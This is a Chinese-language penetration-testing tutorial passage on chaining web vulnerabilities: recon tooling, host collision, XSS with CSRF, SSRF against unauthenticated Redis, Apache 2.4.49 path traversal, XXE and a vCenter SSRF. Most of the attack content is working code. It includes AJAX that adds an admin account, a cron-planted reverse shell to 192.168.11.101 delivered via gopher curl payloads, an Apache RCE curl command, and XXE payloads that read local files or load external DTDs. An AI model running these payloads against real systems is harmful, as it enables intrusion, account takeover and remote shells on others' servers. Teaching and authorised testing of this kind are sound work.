漏洞组合拳,即在不同的漏洞组合利用的基础对目标主机进行渗透测试,提升单个漏洞的威力,也扩大的攻击面。在网络攻防实战或者SRC挖洞的过程需要渗透测试人员有一定的测试能力,如单个漏洞的攻击利用和不同漏洞之间的组合技巧和利用方法,所以本节课程中对学员的安全打点能力有一定要求。下图中总结常见的漏洞组合拳的“打法”。
学习要点:
单个漏洞的原理、利用、扩展技巧;
漏洞组合利用技巧;
漏洞挖掘/代码审计。
参考:https://xz.aliyun.com/t/9833
1、使用OneForAll收集子域以及对应的IP,python oneforall.py --targets targets.txt run;
2、IP去重处理,并将IP保存到文本中;
3、使用xray、fscan等工具去扫描这些IP的端口、Banner、漏洞等情况,如fscan,fscan64.exe -hf ip.txt -p 1-65535 -o result.txt
4、JSFinder扫JS以及URL,python JSFinder.py -f targets.txt -d -ou JSurl.txt -os JSdomain.txt
使用bp中的插件也可以获取一些信息。
或者使用浏览器插件去获取页面链接等,如Link Grabber
5、最后使用漏洞工具或者特定的某些安全工具去进行测试,如sqlmap,python sqlmap.py -m urls.txt --batch
其他:
收集SSL证书中子域名:echo 'https://www.vip.com' | httpx -tls-probe -json -silent | jq -r '.["tls-grab"]'.dns_names
xray+dirsearch:
xray.exe webscan --listen 127.0.0.1:7776 --html-output reportdatetime .html
python dirsearch.py --url-list "url.txt" -e * -F --proxy="http://127.0.0.1:7776" --simple-report="D:\dirsearch-0.4.0\report.html"
小结:组合拳收集信息也即利用不同的收集手法和工具去有效的收集资产信息。
host碰撞
host碰撞种攻击⽅式本质上是nginx配置不当容易产⽣的安全问题,nginx⼀般⽤于做外⽹代理配置,配置也比⽅便,但是配置不当的时候会产⽣⼀些安全问题。 外⽹部署服务⼀般正常的流程是:intra server -> proxy -> nginx。
内⽹的集群或机器不直接连接外部,nginx做个proxy代理透出传递互联⽹。如果nginx配置不当,或 nignx default_server没有配置或者配置内⽹,那么内⽹业务将可能透传出去。
或者这样去理解:
很多时候访问目标资产IP响应多为:401、403、404、500,但是用域名请求却能返回正常的业务系统(禁止IP直接访问),因为这大多数都是需要绑定host才能正常请求访问的 (目前互联网公司基本的做法)(域名删除了A记录,但是反代的配置未更新),那么我们就可以通过收集到的目标的 域名 和 目标资产 的IP段组合起来,以 IP段+域名 的形式进行捆绑碰撞,就能发现很多有意思的东西。 原理:带host的请求直接到反代服务器的ip,反代服务器上面的对应host配置如果还在,就会把请求转发到后面即内网中的对应host业务服务器上,导致网站的域名删除了A记录的情况下也能访问/直接访问内网业务系统
https://github.com/fofapro/Hosts_scan,该工具在发送http请求的时候,对域名和IP列表进行配对,然后遍历发送请求 (就相当于修改了本地的hosts文件一样),并把相应的title和响应包大小拿回 来做对比,即可快速发现一些隐蔽的资产。在使用这个脚本时需要收集目标的域名和目标的相关IP作为字典,注意:域名即为内网host池,ip为外网IP池 。收集这些信息推荐使用灯塔ARL:https://github.com/TophantTechnology/ARL,当然使用其他的工具或者方法都行。
注意:将最后收集的IP和域名资源池需要去重处理,分别保存在 ip.txt 和 hosts.txt 中。
python IPhostsscan.py
最后验证:直接修改本地的host文件,去访问目标资源即可
XSS+host碰撞:(https://zone.huoxian.cn/ )
在挖掘XSS漏洞时一般都是见框就插的原则进行盲打,有些内容输入之后即可显示在页面上,有些内容输入之后会输出到别的系统上,可能是一些后台,比如你提交漏洞的时候、发表文章的时候,都会在后台系统进行审核,如果这种情况下后台存在XSS漏洞也无利用,这种XSS就比较鸡肋。如下面的情况,获取内网中审核平台的cookes。
注意这里的域名是指向内网服务
接下来就可以尝试host碰撞,收集外网子域名,以及外网IP进行扫描测试。最终很幸运,成功撞了进去,将域名xxx.corp.xxx.com与某个外网ip进行host绑定,即可直接访问。并且直接使用获取的内网审核平台的coolkie直接登录到系统中。
XSS和CSRF一起利用的场景非常多,XSS可以获取管理员后台的cookie,然后利用CSRF在修改数据、添加数据、删除数据的地方达到攻击者预期的目的。下面简单具体测试案例来分析这两者结合方法。
如:http://192.168.10.101:81/add_book.asp,在留言处存在XSS漏洞。
验证如下:
提交恶意数据,如下图所示:
后台触发XSS漏洞:
在后台的管理员管理处存在CSRF漏洞,针对CSRF漏洞可以利用的工具有burpsuite和OWASP-CSRFTester-1.0.jar
这里主要使用的是AJAX技术自动发包来添加管理员。下面直接使用XSS利用平台。如:https://xssaq.com/
在自定义代码中插入如下的代码:
var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST","/admin/admin_manage.asp?act=add",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("admin=cream&password=cream666&password3=cream666&button=提交数据");
于是有了链接https://xs.com/d54B'">
在前端的留言处输入此payload,然后在后台审核。最后结果如下:
原理上SSRF可以结合所有RCE(反序列化、s2、mysql … ;github 搜索SSRFmap、ssrf_proxy)的漏洞进行组合利用,只是我们在平常实例角度用SSRF+redis未授权用的多一些。下面介绍SSRF和REIDS组合getshell.
利用redis未授权访问漏洞获取反弹shell的命令如下:
echo -e "\n\n*/2 * * * * bash -i >& /dev/tcp/192.168.11.101/7999 0>&1\n\n"|/home/hqw/redis-3.2.0/src/redis-cli -h $1 -p $2 -x set 1
/home/hqw/redis-3.2.0/src/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
/home/hqw/redis-3.2.0/src/redis-cli -h $1 -p $2 config set dbfilename root
/home/hqw/redis-3.2.0/src/redis-cli -h $1 -p $2 save
/home/hqw/redis-3.2.0/src/redis-cli -h $1 -p $2 quit
其中$1表示含有redis漏洞的主机IP,$2表示redis的开启的端口或者被转发之后的端口,将上述代码保存为bash.sh,(如果大家要使用这个代码,注意修改redis的路径)
然后使用Linux中socat进行端口转发,将redis的6379端口转发为其他端口,如8787,其目的是记录redis的数据包,具体实现命令如下:
socat -v tcp-listen:8787,fork tcp-connect:localhost:6379
也就说在redis机器中监听并转发。然后运行bash.sh(注意需要提前开启redis服务):
bash [shell.sh](http://shell.sh) 192.168.10.44 8787
效果如上,然后就会在socat中接收到如下的数据,保存为log.txt:
*3\r
$3\r
set\r
$1\r
1\r
$61\r
*/1 * * * * bash -i >& /dev/tcp/192.168.11.101/7999 0>&1
\r
< 2019/05/16 18:24:32.728382 length=5 from=0 to=4
+OK\r
2019/05/16 18:24:32.763248 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/05/16 18:24:32.772880 length=5 from=0 to=4
+OK\r
2019/05/16 18:24:32.781922 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/05/16 18:24:32.782150 length=5 from=0 to=4
+OK\r
2019/05/16 18:24:32.800877 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/05/16 18:24:32.812397 length=5 from=0 to=4
+OK\r
2019/05/16 18:24:32.819423 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/05/16 18:24:32.819746 length=5 from=0 to=4
+OK\r
然后使用工具对如上的数据进行转换,why?方便提交和机器识别!!!转换规则如下:
如果第一个字符是 >
或者 <
那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是 +OK
那么丢弃该行字符串,表示返回的字符串。
将 \r
字符串替换成 %0d%0a
空白行替换为%0a
使用python脚本编码,其中python代码如下,保存为redis.py:
#coding: utf-8
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
python redis.py log.txt 得到的结果如下:
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a* /1 * * * * bash -i >& /dev/tcp/192.168.11.101/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a* 4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a* 1%0d%0a$4%0d%0aquit%0d%0a
使用CURL构造完整的请求,
curl -v 'gopher://192.168.10.44:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a* /1 * * * * bash -i >& /dev/tcp/192.168.11.101/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a* 4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a* 1%0d%0a$4%0d%0aquit%0d%0a'
其中192.168.10.44 是含有redis漏洞的服务器,此时使用的gopher协议,CURL支持该协议
运行上述命令,结果如下:
出现四条“+OK”,则说明redis命令执行成功!然后在192.168.11.101机器中可以接收反弹回来的shell
现在有如下的网络拓扑图:
注意:只要redis服务器出网即可反弹shell.
要求在SSRF漏洞基础上获取redis的shell
curl -v '[http://192.168.10.6/ssrf_curl.php?url=gopher://192.168.10.44:6379/_](http://192.168.10.6/ssrf_curl.php?url=gopher://192.168.10.44:6379/_)*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a* /1 * * * * bash -i >& /dev/tcp/192.168.11.101/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a* 4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a* 1%0d%0a$4%0d%0aquit%0d%0a'
访问请求之后,便可以获得shell
上面的操作基本上手工测试偏多,下面可以使用SSRF测试工具。
项目名称:Gopherus-master/ssrfmap
gopherus --exploit redis
gopherus --exploit mysql
SSRF+RFI/SSRF+XXE就不在讨论,大家可以直接在bee-box来测试
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
版本等于2.4.49
穿越的目录允许被访问,比如配置了 <Directory/>Require all granted</Directory>
。(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
curl -v --data "echo;id" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh'
口令猜测是门艺术活,进入后台多种漏洞的利用,包括前面提到的漏洞常见高危系列,还有一些备份还原、导入导出、 模板编辑等功能。
登录逻辑绕过、越权类,搞定后台。进行典型漏洞利用
通过XSS钓到cookie,或者利用CSRF类漏洞“借刀杀人”搞到后台权限。进行典型漏洞利用。
XXE漏洞,最理想的状态就是直接可以代码执行(类似PHP expert);大多数还是以文件读取信息收集为主,结合源码或者配置文件(例如/etc/shadow、tomcat-users.xml等)getshell;还可以通过XXE的SSRF进行隔山打牛式getshell。 当然对于漏洞挖掘来讲,无论是xml格式还是json格式的POST数据包都值得多关注下。说不定就有惊喜呢。
演示代码如下:
<!DOCTYPE html>
<html>
<head>
<title>XXE</title>
<meta charset="utf-8">
<script type="text/javascript">
function xml(){
var x=document.forms["myform"]["xml"].value;
if (x==null||x=="") {
alert("需要输入XML内容");
return false;}}
</script>
</head>
<body >
XML数据
<form name="myform" action="#" onsubmit="return xml()" method="POST">
<textarea rows="10" cols="30" name="xml">
</textarea>
<br>
<input type="submit" value="提交" >
</form>
</body>
</html>
<?php
$xml=$_POST["xml"];
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
//print_r($creds);
$secret = $creds->secret;
if($secret!=""){
echo "<br>解析之后的结果:";
echo $secret;
}
?>
测试payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE reset [<!ENTITY test "Cream_pentester">
]>
<reset><secret>&test;</secret></reset>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY xxe SYSTEM "file:////Users/XXXXX/Desktop/pwd.txt">]>
<reset><secret>&xxe;</secret></reset>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY % test SYSTEM "http://ip/dtd文件位置">
%test;]>
<name>&xxe;</name>
外部dtd文件中的内容为:
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[<!ENTITY xxe SYSTEM "http://ip : 探测端口号/test/">]>
<name>&xxe;</name>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[<!ENTITY xxe SYSTEM "expect://系统命令">]>
<name>&xxe;</name>
php安装expext扩展才能利用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=./conf/tomcat-users.xml">]>
<reset><secret>&xxe;</secret></reset>
然后结合其他方式收集过来的信息去利用
正常的一般是通过读取web.xml 获取class文件,然后反编译,找到代码的一些漏洞。进而拿到系统的权限。当然还有文件读取加文件上传的曲折配合(任意文件读取漏洞的曲折历程)
POC:https://{vCenterserver}/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url={url}
SSRF + XSS:
/etc/vmware/vsphere-ui/cm-service-packages/com.vmware.cis.vsphereclient.plugin/com.vmware.h4.vsphere.client-0.4.1.0/plugins/h5-vcav-bootstrap-service.jar
com.vmware.h4.vsphere.ui.bootstrap.controller.ProvidersController.getProviderLogo()